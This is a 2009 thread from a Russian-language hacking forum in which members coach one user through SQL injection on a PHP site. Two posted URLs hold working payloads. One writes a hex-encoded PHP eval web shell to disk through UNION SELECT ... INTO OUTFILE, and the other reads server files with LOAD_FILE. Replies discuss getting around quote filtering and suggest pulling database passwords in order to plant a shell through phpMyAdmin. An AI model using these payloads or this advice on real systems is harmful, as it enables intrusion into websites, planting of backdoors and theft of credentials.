25.01.2009, 18:21
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами:
9270510
Репутация:
519
|
|
Убери с оутфайла хекс,если не поможет, значит вероятно фильтрация кавычек в запросе...
|
|
|
25.01.2009, 18:32
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
http://localhost/view_cat.php?cat=-1+union+select+1,0x3c3f706870206576616c28245f47455 45b73716c5d293f3e,3,4,5,6,7,8,9+INTO+OUTFILE+'Z:\s hell.php'
пробовал так,бесполезно все!
|
|
|
|
25.01.2009, 18:32
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
'Z:\shell.php'
вот это нужно как-то приподнести без кавычек)
|
|
|
|
25.01.2009, 18:43
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами:
9288132
Репутация:
571
|
|
Сообщение от kevmen
'Z:\shell.php'
вот это нужно как-то приподнести без кавычек)
Кавычки должны быть и обязательно "настоящими"
|
|
|
|
25.01.2009, 18:37
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами:
9270510
Репутация:
519
|
|
Где то была инфа по обходу фильтрации кавычек, но будет она пахать в даном случае-хз...
|
|
|
|
25.01.2009, 18:46
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами:
9270510
Репутация:
519
|
|
Если тебя интересует заливка шелла, то при наличии прав с помощью лоад файла можно узнать пассы от бд и попытатся залить шелл через пхпмайадмин...
|
|
|
|
25.01.2009, 18:46
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
kevmen Вопросы я смотрю пошли по кругу, на них уже отвечали , кури это :
https://forum.antichat.ru/threadnav34338-1-10.html
и вообще, давай сначала хоть что-то читай, потом вопросы по прочитанному
|
|
|
|
25.01.2009, 18:49
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
jokester,хорошо,я читаю вот это
http://forum.antichat.ru/thread43966.html
и вопросы у меня именно по прочитанному)
Последний раз редактировалось kevmen; 25.01.2009 в 20:43..
|
|
|
|
25.01.2009, 18:51
|
|
Познающий
Регистрация: 01.08.2008
Сообщений: 42
С нами:
9355682
Репутация:
50
|
|
какие вопросы?? при экранировании кавычек into outfile не работает тк требует использования этих самых кавычек в синтаксисе.
|
|
|
|
25.01.2009, 20:52
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
http://localhost/view_cat.php?cat=-1+union+select+1,2,LOAD_FILE(0x766965775f6361742e70 6870),4,5,6,7,8,9
ну вот )хочу прочесть файл view_cat.php.Страница отображается верно,но содержание файла не выводится ,я никогда не сталкивался с такими вещами,поэтому не знаю,как должна отображатся страница)извините,если пишу что-то не так и не то
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
